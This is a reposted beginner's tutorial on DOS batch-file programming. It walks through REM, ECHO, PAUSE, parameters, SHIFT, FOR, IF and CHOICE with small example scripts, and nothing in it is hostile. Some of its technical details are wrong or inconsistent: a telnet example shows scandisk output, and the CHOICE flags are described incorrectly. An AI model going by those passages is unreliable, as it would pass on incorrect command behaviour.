Advertisement
snapxynith

batch file programming

Mar 31st, 2019
662
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 44.14 KB | None | 0 0
  1. __________________________________________________________________
  2.  
  3.  
  4.  
  5.  
  6.  
  7. Batch File Programming By Ankit Fadia ankit@bol.net.in
  8.  
  9.  
  10. __________________________________________________________________
  11.  
  12.  
  13.  
  14.  
  15.  
  16.  
  17.  
  18.  
  19. Batch file programming is nothing but the Windows version of Unix Shell
  20.  
  21.  
  22. Programming. Let's start by understanding what happens when we give a DOS
  23.  
  24.  
  25. command. DOS is basically a file called command.com
  26.  
  27.  
  28. It is this file (command.com) which handles all DOS commands that you give at the
  29.  
  30.  
  31. DOS prompt---such as COPY, DIR, DEL etc. These commands are built in with the
  32.  
  33.  
  34. Command.com file. (Such commands which are built in are called internal
  35.  
  36.  
  37. commands.).DOS has something called external commands too such as FORMAT,
  38.  
  39.  
  40. UNDELETE, BACKUP etc.
  41.  
  42.  
  43.  
  44.  
  45.  
  46. So whenever we give a DOS command either internal or external, command.com
  47.  
  48.  
  49. either straightaway executes the command (Internal Commands) or calls an external
  50.  
  51.  
  52. separate program which executes the command for it and returns the
  53.  
  54.  
  55. result (External Commands.)
  56.  
  57.  
  58.  
  59.  
  60.  
  61. So why do I need Batch File Programs? Say you need to execute a set of commands
  62.  
  63.  
  64. over and over again to perform a routine task like Backing up Important Files,
  65.  
  66.  
  67. Deleting temporary files(*.tmp, .bak , ~.* etc)
  68.  
  69.  
  70. then it is very difficult to type the same set of commands over and over
  71.  
  72.  
  73. again. To perform a bulk set of same commands over and over again, Batch files
  74.  
  75.  
  76. are used. Batch Files are to DOS what Macros are to Microsoft Office and are used
  77.  
  78.  
  79. to perform an automated predefined set of tasks over and over again.
  80.  
  81.  
  82.  
  83.  
  84.  
  85. So how do I create batch files? To start enjoying using Batch files, you need to
  86.  
  87.  
  88. learn to create Batch files. Batch files are basically plain text files
  89.  
  90.  
  91. containing DOS commands. So the best editor to write your commands in would be
  92.  
  93.  
  94. Notepad or the DOS Editor (EDIT) All you need to remember is that a batch file
  95.  
  96.  
  97. should have the extension .BAT(dot bat)Executing a batch file is quite simple
  98.  
  99.  
  100. too. For example if you create a Batch file and save it with the filename
  101.  
  102.  
  103. batch.bat then all you need to execute the batch file is to type:
  104.  
  105.  
  106.  
  107.  
  108.  
  109. C:\windows>batch.bat
  110.  
  111.  
  112.  
  113.  
  114.  
  115. So what happens when you give a Batch file to the command.com to execute?
  116.  
  117.  
  118. Whenever command.com comes across a batch file program, it goes into batch
  119.  
  120.  
  121. mode. In the batch mode, it reads the commands from the batch file line by
  122.  
  123.  
  124. line. So basically what happens is, command.com opens the batch file and reads
  125.  
  126.  
  127. the first line, then it closes the batch file. It then executes the command and
  128.  
  129.  
  130. again reopens the batch file and reads the next line from it. Batch files are
  131.  
  132.  
  133. treated as Internal DOS commands.
  134.  
  135.  
  136.  
  137.  
  138.  
  139. *********************
  140.  
  141.  
  142. Hacking Truth: While creating a batch file, one thing that you need to keep in
  143.  
  144.  
  145. mind is that the filename of the batch file should not use the same name as a
  146.  
  147.  
  148. DOS command. For example, if you create a batch file by the name dir.bat and then
  149.  
  150.  
  151. try to execute it at the prompt, nothing will happen.
  152.  
  153.  
  154. This is because when command.com comes across a command, it first checks to see
  155.  
  156.  
  157. if it is an internal command. If it is not then command.com checks if it a .COM,
  158.  
  159.  
  160. .EXE or .BAT file with a matching filename.
  161.  
  162.  
  163. All external DOS commands use either a .COM or a .EXE extension, DOS never
  164.  
  165.  
  166. bothers to check if the batch program exits.
  167.  
  168.  
  169. *********************
  170.  
  171.  
  172. Now let's move on to your first Batch file program. We will unlike
  173.  
  174.  
  175. always(Normally we begin with the obligatory Hello World program) first take up
  176.  
  177.  
  178. a simple batch file which executes or launches a .EXE program. Simply type the
  179.  
  180.  
  181. following in a blank text file and save it with a .BAT extension.
  182.  
  183.  
  184.  
  185.  
  186.  
  187. C:
  188.  
  189.  
  190. cd windows
  191.  
  192.  
  193. telnet
  194.  
  195.  
  196.  
  197.  
  198.  
  199. Now let's analyze the code, the first line tells command.com to go to the C:
  200.  
  201.  
  202. Next it tells it to change the current directory to Windows. The last line tells it to
  203.  
  204.  
  205. launch the telnet client. You may contradict saying that the full filename is
  206.  
  207.  
  208. telnet.exe. Yes you are right, but the .exe extension is automatically added by
  209.  
  210.  
  211. command.com. Normally we do not need to change the drive and the directory as
  212.  
  213.  
  214. the Windows directory is the default DOS folder. So instead the bath file
  215.  
  216.  
  217. could simply contain the below and would still work.
  218.  
  219.  
  220.  
  221.  
  222.  
  223. telnet
  224.  
  225.  
  226.  
  227.  
  228.  
  229. Now let's execute this batch file and see what results it shows. Launch
  230.  
  231.  
  232. command.com (DOS) and execute the batch file by typing:
  233.  
  234.  
  235.  
  236.  
  237.  
  238. C:\WINDOWS>batch_file_name
  239.  
  240.  
  241.  
  242.  
  243.  
  244. You would get the following result:
  245.  
  246.  
  247.  
  248.  
  249.  
  250. C:\WINDOWS>scandisk
  251.  
  252.  
  253.  
  254.  
  255.  
  256. And Scandisk is launched. So now the you know the basic functioning of Batch
  257.  
  258.  
  259. files, let' move on to Batch file commands.
  260.  
  261.  
  262.  
  263.  
  264.  
  265. The REM Command
  266.  
  267.  
  268.  
  269.  
  270.  
  271. The most simple basic Batch file command is the REM or the Remark command. It is
  272.  
  273.  
  274. used extensively by programmers to insert comments into their code to make it
  275.  
  276.  
  277. more readable and understandable. This command ignores anything there is on that
  278.  
  279.  
  280. line. Anything on the line after REM is not even displayed on the screen during
  281.  
  282.  
  283. execution. It is normally not used in small easy to understand batch programs but
  284.  
  285.  
  286. is very useful in huge snippets of code with geek stuff loaded into it. So if we
  287.  
  288.  
  289. add Remarks to out first batch file, it will become:
  290.  
  291.  
  292.  
  293.  
  294.  
  295. REM This batch file is my first batch program which launches the fav hacking
  296.  
  297.  
  298. tool; Telnet
  299.  
  300.  
  301.  
  302.  
  303.  
  304. telnet
  305.  
  306.  
  307.  
  308.  
  309.  
  310. The only thing to keep in mind while using Remarks is to not go overboard and
  311.  
  312.  
  313. putting in too many of them into a single program as they tend to slow down the
  314.  
  315.  
  316. execution time of the batch commands.
  317.  
  318.  
  319.  
  320.  
  321.  
  322. ECHO: The Batch Printing Tool
  323.  
  324.  
  325.  
  326.  
  327.  
  328. The ECHO command is used for what the Print command is in other programming
  329.  
  330.  
  331. languages: To Display something on the screen. It can be used to tell the user
  332.  
  333.  
  334. what the bath file is currently doing. It is true that Batch programs display all
  335.  
  336.  
  337. commands it is executing but sometimes they are not enough and it is better to
  338.  
  339.  
  340. also insert ECHO commands which give a better description of what is presently
  341.  
  342.  
  343. being done. Say for example the following batch program which is full of the ECHO
  344.  
  345.  
  346. command deletes all files in the c:\windows\temp directory:
  347.  
  348.  
  349.  
  350.  
  351.  
  352. ECHO This Batch File deletes all unwanted Temporary files from your system
  353.  
  354.  
  355. ECHO Now we go to the Windows\temp directory.
  356.  
  357.  
  358. cd windows\temp
  359.  
  360.  
  361. ECHO Deleting unwanted temporary files....
  362.  
  363.  
  364. del *.tmp
  365.  
  366.  
  367. ECHO Your System is Now Clean
  368.  
  369.  
  370.  
  371.  
  372.  
  373. Now let's see what happens when we execute the above snippet of batch code.
  374.  
  375.  
  376.  
  377.  
  378.  
  379. C:\WINDOWS>batch_file_name
  380.  
  381.  
  382. C:\WINDOWS>ECHO This Batch File deletes all unwanted Temporary files from your
  383.  
  384.  
  385. system
  386.  
  387.  
  388. C:\WINDOWS>ECHO Now we go to the Windows\temp directory.
  389.  
  390.  
  391. Now we go to the Windows\temp directory.
  392.  
  393.  
  394. C:\WINDOWS>cd windows\temp
  395.  
  396.  
  397. Invalid directory
  398.  
  399.  
  400. C:\WINDOWS>ECHO Deleting unwanted temporary files
  401.  
  402.  
  403. Deleting unwanted temporary files...
  404.  
  405.  
  406. C:\WINDOWS>del *.tmp
  407.  
  408.  
  409. C:\WINDOWS>ECHO Your System is Now Clean
  410.  
  411.  
  412. Your System is Now Clean
  413.  
  414.  
  415.  
  416.  
  417.  
  418. The above is a big mess! The problem is that DOS is displaying the executed
  419.  
  420.  
  421. command and also the statement within the ECHO command. To prevent DOS from
  422.  
  423.  
  424. displaying the command being executed, simply precede the batch file with the
  425.  
  426.  
  427. following command at the beginning of the file:
  428.  
  429.  
  430.  
  431.  
  432.  
  433. ECHO OFF
  434.  
  435.  
  436.  
  437.  
  438.  
  439. Once we add the above line to our Temporary files deleting Batch program , the
  440.  
  441.  
  442. output becomes:
  443.  
  444.  
  445.  
  446.  
  447.  
  448. C:\WINDOWS>ECHO OFF
  449.  
  450.  
  451. This Batch File deletes all unwanted Temporary files from your system
  452.  
  453.  
  454. Now we go to the Windows\temp directory.
  455.  
  456.  
  457. Invalid directory
  458.  
  459.  
  460. Deleting unwanted temporary files...
  461.  
  462.  
  463. File not found
  464.  
  465.  
  466. Your System is Now Clean
  467.  
  468.  
  469.  
  470.  
  471.  
  472. Hey pretty good! But it still shows the initial ECHO OFF command. You can prevent
  473.  
  474.  
  475. a particular command from being shown but still be executed by preceding the
  476.  
  477.  
  478. command with a @ sign. So to hide even the ECHO OFF command, simple replace the
  479.  
  480.  
  481. first line of the batch file with @ECHO OFF
  482.  
  483.  
  484.  
  485.  
  486.  
  487. You might think that to display a blank line in the output screen you can simply
  488.  
  489.  
  490. type ECHO by itself, but that doesn't work. The ECHO command return whether the
  491.  
  492.  
  493. ECHO is ON or OFF. Say you have started your batch file with the command ECHO OFF
  494.  
  495.  
  496. and then in the later line give the command ECHO, then it will display ' ECHO is
  497.  
  498.  
  499. off ' on the screen. You can display a blank line by giving the command
  500.  
  501.  
  502. ECHO.(ECHO followed by a dot)Simply leaving a blank line in the code too
  503.  
  504.  
  505. displays a blank line in the output.
  506.  
  507.  
  508.  
  509.  
  510.  
  511. You can turn ON the ECHO anytime by simply giving the command ECHO ON. After
  512.  
  513.  
  514. turning the echo on , if you give the command ECHO then it will return ' ECHO is
  515.  
  516.  
  517. on '
  518.  
  519.  
  520.  
  521.  
  522.  
  523. The PAUSE Command: Freezing Time
  524.  
  525.  
  526.  
  527.  
  528.  
  529. Say you create a batch file which shows the Directory Listing of a particular
  530.  
  531.  
  532. folder(DIR) before performing some other task. Or sometimes before deleting all
  533.  
  534.  
  535. files of a folder, you need to give the user time to react and change his
  536.  
  537.  
  538. mind. PAUSE, the name says it all, it is used to time out actions of a script.
  539.  
  540.  
  541. Consider the following scenario:
  542.  
  543.  
  544.  
  545.  
  546.  
  547. REM This Batch program deletes *.doc files in the current folder.
  548.  
  549.  
  550. REM But it gives the user to react and abort this process.
  551.  
  552.  
  553. @ECHO OFF
  554.  
  555.  
  556. ECHO WARNING: Going to delete all Microsoft Word Document
  557.  
  558.  
  559. ECHO Press CTRL+C to abort or simply press a key to continue.
  560.  
  561.  
  562. PAUSE
  563.  
  564.  
  565. DEL *.doc
  566.  
  567.  
  568.  
  569.  
  570.  
  571. Now when you execute this batch program, we get the following output:
  572.  
  573.  
  574.  
  575.  
  576.  
  577. C:\WINDOWS>a.bat
  578.  
  579.  
  580. WARNING: Going to delete all Microsoft Word Document
  581.  
  582.  
  583. Press CTRL+C to abort or simply press a key to continue.
  584.  
  585.  
  586. Press any key to continue . . .
  587.  
  588.  
  589.  
  590.  
  591.  
  592. The batch file program actually asks the user if he wishes to continue and gives
  593.  
  594.  
  595. the user the option to abort the process. Pressing CTRL+C cancels the batch file
  596.  
  597.  
  598. program(CTRL+C and CTRL+Break bring about the same results)
  599.  
  600.  
  601.  
  602.  
  603.  
  604. ^C
  605.  
  606.  
  607.  
  608.  
  609.  
  610. Terminate batch job (Y/N)?y
  611.  
  612.  
  613.  
  614.  
  615.  
  616. After this you will get the DOS prompt back.
  617.  
  618.  
  619.  
  620.  
  621.  
  622. ****************
  623.  
  624.  
  625. HACKING TRUTH: Say you have saved a batch file in the c:\name directory. Now when
  626.  
  627.  
  628. you launch command.com the default directory is c:\windows and in order to
  629.  
  630.  
  631. execute the batch file program stored in the c:\name directory you need to
  632.  
  633.  
  634. change the directory and go to c:\name.This can be very irritating and time
  635.  
  636.  
  637. consuming. It is a good practice to store all your batch programs in the same
  638.  
  639.  
  640. folder. You can run a batch file stored in any folder(Say c:\name) from
  641.  
  642.  
  643. anywhere(even c:\windows\history) if you include the folder in which the batch
  644.  
  645.  
  646. file is stored (c:\name)in the AUTOEXEC.BAT file, so that DOS knows which folder
  647.  
  648.  
  649. to look for the batch program.
  650.  
  651.  
  652. So simply open c:\autoexec.bat in Notepad and append the Path statement to the
  653.  
  654.  
  655. following line[c:\name is the folder in which all your batch files are stored.]:
  656.  
  657.  
  658.  
  659.  
  660.  
  661. SET PATH=C:\WINDOWS;C:\WINDOWS\COMMAND;C:\name
  662.  
  663.  
  664.  
  665.  
  666.  
  667. Autoexec.bat runs each time at startup and DOS knows each time, in which
  668.  
  669.  
  670. directory to look for the batch files.
  671.  
  672.  
  673. ********************
  674.  
  675.  
  676.  
  677.  
  678.  
  679. Parameters: Giving Information to Batch Programs
  680.  
  681.  
  682.  
  683.  
  684.  
  685. To make batch programs really intelligent you need to be able to provide them
  686.  
  687.  
  688. with parameters which are nothing but additional valuable information which is
  689.  
  690.  
  691. needed to ensure that the bath program can work efficiently and flexibly.
  692.  
  693.  
  694. To understand how parameters work, look at the following script:
  695.  
  696.  
  697.  
  698.  
  699.  
  700. @ECHO OFF
  701.  
  702.  
  703. ECHO First Parameter is %1
  704.  
  705.  
  706. ECHO Second Parameter is %2
  707.  
  708.  
  709. ECHO Third Parameter is %3
  710.  
  711.  
  712.  
  713.  
  714.  
  715. The script seems to be echoing(printing) messages on the screen, but what do the
  716.  
  717.  
  718. strange symbols %1 , % 2 etc stand for? To find out what the strange symbols
  719.  
  720.  
  721. stand for save the above script and go to DOS and execute this script by passing
  722.  
  723.  
  724. the below parameters:
  725.  
  726.  
  727.  
  728.  
  729.  
  730. C:\windows>batch_file_name abc def ghi
  731.  
  732.  
  733.  
  734.  
  735.  
  736. This batch file produces the following result:
  737.  
  738.  
  739.  
  740.  
  741.  
  742. C:\windows>batch_file_name abc def ghi
  743.  
  744.  
  745. First Parameter is abc
  746.  
  747.  
  748. Second Parameter is def
  749.  
  750.  
  751. Third Parameter is ghi
  752.  
  753.  
  754.  
  755.  
  756.  
  757. The first line in the output is produced by the code line:
  758.  
  759.  
  760.  
  761.  
  762.  
  763. ECHO First Parameter is %1
  764.  
  765.  
  766.  
  767.  
  768.  
  769. Basically what happens is that when DOS encounters the %1 symbol, it examines
  770.  
  771.  
  772. the original command used to execute the bath program and look for the first
  773.  
  774.  
  775. word (argument) after the batch filename and then assigns %1 the value of that
  776.  
  777.  
  778. word. So one can say that in the ECHO statement %1 is replaced with the value of
  779.  
  780.  
  781. the first argument. In the above example the first word after the batch file name
  782.  
  783.  
  784. is abc, therefore %1 is assigned the value of this word.
  785.  
  786.  
  787.  
  788.  
  789.  
  790. The %2 symbol too works in the similar way, the only difference being that
  791.  
  792.  
  793. instead of the first argument, DOS assigns it the value of the second argument,
  794.  
  795.  
  796. def. Now all these symbols, %1, %2 are called replaceable parameters. Actually
  797.  
  798.  
  799. what happens is that %1 is not assigned the value of the first argument, but
  800.  
  801.  
  802. in fact it is replaced by the value of the first argument.
  803.  
  804.  
  805.  
  806.  
  807.  
  808. If the batch file command has more parameters than what the batch file is
  809.  
  810.  
  811. looking for, then the extras are ignored. For example, if while executing a batch
  812.  
  813.  
  814. file program , we pass four arguments, but the batch file program requires only
  815.  
  816.  
  817. 3 parameters, then the fourth parameter is ignored.
  818.  
  819.  
  820.  
  821.  
  822.  
  823. To understand the practical usage of parameters, let's take up a real life
  824.  
  825.  
  826. example. Now the following script requires the user to enter the name of the
  827.  
  828.  
  829. files to be deleted and the folder in which they are located.
  830.  
  831.  
  832.  
  833.  
  834.  
  835. @ECHO OFF
  836.  
  837.  
  838. CD\
  839.  
  840.  
  841. CD %1
  842.  
  843.  
  844. DEL %2
  845.  
  846.  
  847.  
  848.  
  849.  
  850. This script can be called from the DOS prompt in the following way:
  851.  
  852.  
  853.  
  854.  
  855.  
  856. C:\windows>batch_file_name windows\temp *.tmp
  857.  
  858.  
  859.  
  860.  
  861.  
  862. In a single script we cannot use more that nine replaceable parameters. This
  863.  
  864.  
  865. means that a particular batch file will have replaceable parameters from %1 to
  866.  
  867.  
  868. %9.Infact there is a tenth replaceable parameter, the %0 parameter. The %0
  869.  
  870.  
  871. parameter contains the name of the batch file itself.
  872.  
  873.  
  874.  
  875.  
  876.  
  877. ************
  878.  
  879.  
  880. HACKING TRUTH: Say you want to execute a batch file and once the procedure of
  881.  
  882.  
  883. execution is complete, want to leave DOS and return to Windows, what do you do?
  884.  
  885.  
  886. The EXIT command can be used in such situations. So simply end your batch file
  887.  
  888.  
  889. with the EXIT command.
  890.  
  891.  
  892. EXIT
  893.  
  894.  
  895. ************
  896.  
  897.  
  898.  
  899.  
  900.  
  901. SHIFT: Infinite Parameters
  902.  
  903.  
  904.  
  905.  
  906.  
  907. Sometimes your batch file program may need to use more than nine parameters at a
  908.  
  909.  
  910. time.(Actually you would never need to, but at least you are sure you can handle
  911.  
  912.  
  913. it if you need to.)To see how the SHIFT command works, look at the following
  914.  
  915.  
  916. snippet of code:
  917.  
  918.  
  919.  
  920.  
  921.  
  922. @ECHO OFF
  923.  
  924.  
  925. ECHO The first Parameter is %1
  926.  
  927.  
  928. ECHO.
  929.  
  930.  
  931. SHIFT
  932.  
  933.  
  934. ECHO The Second Parameter is %1
  935.  
  936.  
  937. ECHO.
  938.  
  939.  
  940. SHIFT
  941.  
  942.  
  943. ECHO The Second Parameter is %1
  944.  
  945.  
  946.  
  947.  
  948.  
  949. Now execute this batch file from DOS and see what happens.
  950.  
  951.  
  952.  
  953.  
  954.  
  955. C:\windows>batch_file_name abc def ghi
  956.  
  957.  
  958.  
  959.  
  960.  
  961. The first Parameter is abc
  962.  
  963.  
  964.  
  965.  
  966.  
  967. The Second Parameter is def
  968.  
  969.  
  970.  
  971.  
  972.  
  973. The Second Parameter is ghi
  974.  
  975.  
  976.  
  977.  
  978.  
  979. How does it work? Well, each SHIFT command shuffles the parameters down one
  980.  
  981.  
  982. position. This means that after the first SHIFT %1 becomes def, %2 becomes ghi
  983.  
  984.  
  985. and abc is completely removed by DOS. All parameters change and move one position
  986.  
  987.  
  988. down.
  989.  
  990.  
  991.  
  992.  
  993.  
  994. Both normal parameters (%1 , % 2 etc) and the SHIFT command can be made more
  995.  
  996.  
  997. efficient by grouping them with the IF conditional statement to check the
  998.  
  999.  
  1000. parameters passed by the User.
  1001.  
  1002.  
  1003.  
  1004.  
  1005.  
  1006. THE FOR LOOP
  1007.  
  1008.  
  1009.  
  1010.  
  1011.  
  1012. The syntax of the FOR LOOP is:
  1013.  
  1014.  
  1015.  
  1016.  
  1017.  
  1018. FOR %%PARAMETER IN(set) DO command
  1019.  
  1020.  
  1021.  
  1022.  
  1023.  
  1024. Most people change their mind about learning Batch Programming when they come
  1025.  
  1026.  
  1027. across the syntax of the For Command. I do agree that it does seem a bit weird,
  1028.  
  1029.  
  1030. but it is not as difficult as it appears to be. Let's analyze the various parts
  1031.  
  1032.  
  1033. of the For command. Before we do that look at the following example,
  1034.  
  1035.  
  1036.  
  1037.  
  1038.  
  1039. @ECHO OFF
  1040.  
  1041.  
  1042. CLS
  1043.  
  1044.  
  1045. FOR %%A IN (abc, def, xyz) DO ECHO %%A
  1046.  
  1047.  
  1048.  
  1049.  
  1050.  
  1051. Basically a FOR LOOP declares a variable (%%A) and assigns it different values
  1052.  
  1053.  
  1054. as it goes through the predefined set of values(abc, def, xyz) and each time
  1055.  
  1056.  
  1057. the variable is assigned a new value, the FOR loop performs a command.(ECHO %%A)
  1058.  
  1059.  
  1060.  
  1061.  
  1062.  
  1063. The %%A is the variable which is assigned different values as the loop goes
  1064.  
  1065.  
  1066. through the predefined set of values in the brackets. You can use any single
  1067.  
  1068.  
  1069. letter character after the two % sign except 0 through 9.We use two %'s as DOS
  1070.  
  1071.  
  1072. deletes each occurrence of a single % sign in a batch file program.
  1073.  
  1074.  
  1075.  
  1076.  
  1077.  
  1078. The IN(abc, def, xyz) is the list through which the FOR loop goes. The variable
  1079.  
  1080.  
  1081. %%a is assigned the various values within the brackets, as the loop moves. The
  1082.  
  1083.  
  1084. items in the set(The technical term for the set of values within the brackets)
  1085.  
  1086.  
  1087. can be separated with commas, colons or simply spaces.
  1088.  
  1089.  
  1090.  
  1091.  
  1092.  
  1093. For each item in the set(The IN Thing) the FOR loop performs whatever command is
  1094.  
  1095.  
  1096. given after the DO keyword.(In this example the loop will ECHO %%A)
  1097.  
  1098.  
  1099.  
  1100.  
  1101.  
  1102. So basically when we execute the above batch file, the output will be:
  1103.  
  1104.  
  1105.  
  1106.  
  1107.  
  1108. abc
  1109.  
  1110.  
  1111. def
  1112.  
  1113.  
  1114. xyz
  1115.  
  1116.  
  1117.  
  1118.  
  1119.  
  1120. The FOR loop becomes very powerful if used along with replaceable parameters. Take
  1121.  
  1122.  
  1123. the following batch file, for example,
  1124.  
  1125.  
  1126.  
  1127.  
  1128.  
  1129. @ECHO OFF
  1130.  
  1131.  
  1132. ECHO.
  1133.  
  1134.  
  1135. ECHO I am going to delete the following files:
  1136.  
  1137.  
  1138. ECHO %1 %2
  1139.  
  1140.  
  1141. ECHO.
  1142.  
  1143.  
  1144. ECHO Press Ctrl+C to Abort process
  1145.  
  1146.  
  1147. PAUSE
  1148.  
  1149.  
  1150. FOR %%a IN (%1 %2 ) DO DEL %%a
  1151.  
  1152.  
  1153. ECHO Killed Files. Mission Accomplished.
  1154.  
  1155.  
  1156.  
  1157.  
  1158.  
  1159. At execution time, the process would be something like:
  1160.  
  1161.  
  1162.  
  1163.  
  1164.  
  1165.  
  1166.  
  1167.  
  1168. C:\WINDOWS>batchfilename *.tmp *.bak
  1169.  
  1170.  
  1171.  
  1172.  
  1173.  
  1174. I am going to delete the following files:
  1175.  
  1176.  
  1177. *.tmp *.bak
  1178.  
  1179.  
  1180.  
  1181.  
  1182.  
  1183. Press Ctrl+C to Abort process
  1184.  
  1185.  
  1186. Press any key to continue . . .
  1187.  
  1188.  
  1189.  
  1190.  
  1191.  
  1192. Killed Files. Mission Accomplished.
  1193.  
  1194.  
  1195. ----------------------------------
  1196.  
  1197.  
  1198.  
  1199.  
  1200.  
  1201. IF: CONDITIONAL BRANCHING
  1202.  
  1203.  
  1204.  
  1205.  
  1206.  
  1207. The If statement is a very useful command which allows us to make the batch files more intelligent and useful. Using this command one can make the batch programs check the parameters and accordingly perform a task. Not only can the IF command check parameters, it can also checks if a particular file exists or not. On top of all this, it can also be used for the conventional checking of variables (strings).
  1208.  
  1209.  
  1210.  
  1211.  
  1212.  
  1213. Checking If a File Exists Or Not
  1214.  
  1215.  
  1216.  
  1217.  
  1218.  
  1219. The general syntax of the IF command which checks for the existence of a file is the following:
  1220.  
  1221.  
  1222.  
  1223.  
  1224.  
  1225. IF [NOT] EXIST FILENAME Command
  1226.  
  1227.  
  1228.  
  1229.  
  1230.  
  1231. This will become clearer when we take up the following example,
  1232.  
  1233.  
  1234.  
  1235.  
  1236.  
  1237. IF EXIST c:\autoexec.bat ECHO It exists
  1238.  
  1239.  
  1240.  
  1241.  
  1242.  
  1243. This command checks to see if the file, c:\autoexec.bat exists or not. If it does then it echoes or prints the string 'It exists'. On the other hand if the specified file does not exist, then it does not do anything.
  1244.  
  1245.  
  1246.  
  1247.  
  1248.  
  1249. In the above example, if the file autoexec.bat did not exist, then nothing was executed. We can also put in the else clause i.e. If the File exists, do this but if it does not exists, by using the GOTO command. Let's consider the following example to make it more clear:
  1250.  
  1251.  
  1252.  
  1253.  
  1254.  
  1255. @echo off
  1256.  
  1257.  
  1258. IF EXIST C:\ankit.doc GOTO ANKIT
  1259.  
  1260.  
  1261. Goto end
  1262.  
  1263.  
  1264. :ANKIT
  1265.  
  1266.  
  1267. ECHO ANKIT
  1268.  
  1269.  
  1270. :end
  1271.  
  1272.  
  1273.  
  1274.  
  1275.  
  1276. The IF statement in this code snippet checks to see if there exists a file, c:\ankit.doc. If it does then DOS is branched to :ANKIT and if it does not, then DOS goes on to the next line. The next line branches DOS to :end. The :end and :ANKIT in the above example are called labels. After the branching the respective echo statements take over.
  1277.  
  1278.  
  1279.  
  1280.  
  1281.  
  1282. ******************
  1283.  
  1284.  
  1285. HACKING TRUTH: We can also check for more than one file at a time, in the following way:
  1286.  
  1287.  
  1288. IF EXIST c:\autoexec.bat IF EXIST c:\autoexec.bak ECHO Both Exist
  1289.  
  1290.  
  1291. ******************
  1292.  
  1293.  
  1294.  
  1295.  
  1296.  
  1297. We can check to see if a file does not exist in the same way, the basic syntax now becomes:
  1298.  
  1299.  
  1300.  
  1301.  
  1302.  
  1303. IF NOT EXIST FILENAME Command
  1304.  
  1305.  
  1306.  
  1307.  
  1308.  
  1309. For Example,
  1310.  
  1311.  
  1312.  
  1313.  
  1314.  
  1315. IF NOT EXIST c:\ankit.doc ECHO It doesn't Exist
  1316.  
  1317.  
  1318.  
  1319.  
  1320.  
  1321. ****************
  1322.  
  1323.  
  1324. HACKING TRUTH: How do you check for the existence of directories? No something like IF C:\windows EXISTS ECHO Yes does not work. In this case we need to make use of the NULL device. The NULL device is basically nothing, it actually stands for simply nothing. Each directory has the NULL device present in it. (At least DOS thinks so.) So to check if c:\windows exits, simply type:
  1325.  
  1326.  
  1327.  
  1328.  
  1329.  
  1330. IF EXIST c:\windows\nul ECHO c:\Windows exists.
  1331.  
  1332.  
  1333.  
  1334.  
  1335.  
  1336. One can also check if a drive is valid, by giving something like:
  1337.  
  1338.  
  1339.  
  1340.  
  1341.  
  1342. IF EXIST c:\io.sys ECHO Drive c: is valid.
  1343.  
  1344.  
  1345.  
  1346.  
  1347.  
  1348. ****************
  1349.  
  1350.  
  1351.  
  1352.  
  1353.  
  1354. Comparing Strings to Validate Parameters
  1355.  
  1356.  
  1357.  
  1358.  
  1359.  
  1360. The basic syntax is:
  1361.  
  1362.  
  1363.  
  1364.  
  1365.  
  1366. IF [NOT] string1==string2 Command
  1367.  
  1368.  
  1369.  
  1370.  
  1371.  
  1372. Now let's make our scripts intelligent and make them perform a task according to what parameter was passed by the User. Take the following snippet of code for example,
  1373.  
  1374.  
  1375.  
  1376.  
  1377.  
  1378. @ECHO off
  1379.  
  1380.  
  1381. IF %1==cp GOTO COPY
  1382.  
  1383.  
  1384. GOTO DEL
  1385.  
  1386.  
  1387. :COPY
  1388.  
  1389.  
  1390. Copy %2 a:
  1391.  
  1392.  
  1393. GOTO :END
  1394.  
  1395.  
  1396. :DEL
  1397.  
  1398.  
  1399. Del %2
  1400.  
  1401.  
  1402. :END
  1403.  
  1404.  
  1405.  
  1406.  
  1407.  
  1408. This example too is pretty much self explanatory. The IF Statement compares the first parameter to cp, and if it matches then DOS is sent to read the COPY label else to the DEL label. This example makes use of two parameters and is called by passing at least two parameters.
  1409.  
  1410.  
  1411.  
  1412.  
  1413.  
  1414. We can edit the above example to make DOS check if a parameter was passed or not and if not then display an error message. Just add the following lines to the beginning of the above file.
  1415.  
  1416.  
  1417.  
  1418.  
  1419.  
  1420. @ECHO OFF
  1421.  
  1422.  
  1423. IF "%1" == "" ECHO Error Message Here
  1424.  
  1425.  
  1426.  
  1427.  
  1428.  
  1429. If no parameter is passed then the batch file displays an error message. Similarly we can also check for the existence of the second parameter.
  1430.  
  1431.  
  1432. This command too has the NOT clause.
  1433.  
  1434.  
  1435.  
  1436.  
  1437.  
  1438. The CHOICE Command
  1439.  
  1440.  
  1441.  
  1442.  
  1443.  
  1444. Before we learn how to make use of the CHOICE command, we need to what error levels really are. Now Error levels are generated by programs to inform about the way they finished or were forced to finish their execution. For example, when we end a program by pressing CTRL+C to end a program, the error level code evaluates to 3 and if the program closes normally, then the error level evaluates to 0. These numbers all by themselves are not useful but when used with the IF ERROR LEVEL and the CHIOCE command, they become very kewl.
  1445.  
  1446.  
  1447.  
  1448.  
  1449.  
  1450. The CHOICE command takes a letter or key from the keyboard and returns the error level evaluated when the key is pressed. The general syntax of the CHOICE command is:
  1451.  
  1452.  
  1453.  
  1454.  
  1455.  
  1456. CHOICE[string][/C:keys][/S][/N][/T:key,secs]
  1457.  
  1458.  
  1459.  
  1460.  
  1461.  
  1462. The string part is nothing but the string to be displayed when the CHOICE command is run.
  1463.  
  1464.  
  1465.  
  1466.  
  1467.  
  1468. The /C:keys defines the possible keys to be pressed. If options are mentioned then the default Y/N keys are used instead.
  1469.  
  1470.  
  1471. For example, The command,
  1472.  
  1473.  
  1474.  
  1475.  
  1476.  
  1477. CHOICE /C:A1T0
  1478.  
  1479.  
  1480.  
  1481.  
  1482.  
  1483. Defines A, 1, T and O as the possible keys. During execution if the user presses a undefined key, he will hear a beep sound and the program will continue as coded.
  1484.  
  1485.  
  1486.  
  1487.  
  1488.  
  1489. The /S flag makes the possible keys defined by the CHOICE /c flag case sensitive. So it means that if the /S flag is present then A and a would be different.
  1490.  
  1491.  
  1492.  
  1493.  
  1494.  
  1495. The /N flag, if present shows the possible keys in brackets when the program is executed. If the /N flag is missing then, the possible keys are not shown in brackets. Only the value contained by STRING is shown.
  1496.  
  1497.  
  1498.  
  1499.  
  1500.  
  1501. /T:key,secs defines the key which is taken as the default after a certain amount of time has passed.
  1502.  
  1503.  
  1504. For Example,
  1505.  
  1506.  
  1507.  
  1508.  
  1509.  
  1510. CHOICE Choose Browser /C:NI /T:I.5
  1511.  
  1512.  
  1513.  
  1514.  
  1515.  
  1516. The above command displays Choose Browser[N,I] and if no key is pressed for the next 5 seconds, then it chooses I.
  1517.  
  1518.  
  1519.  
  1520.  
  1521.  
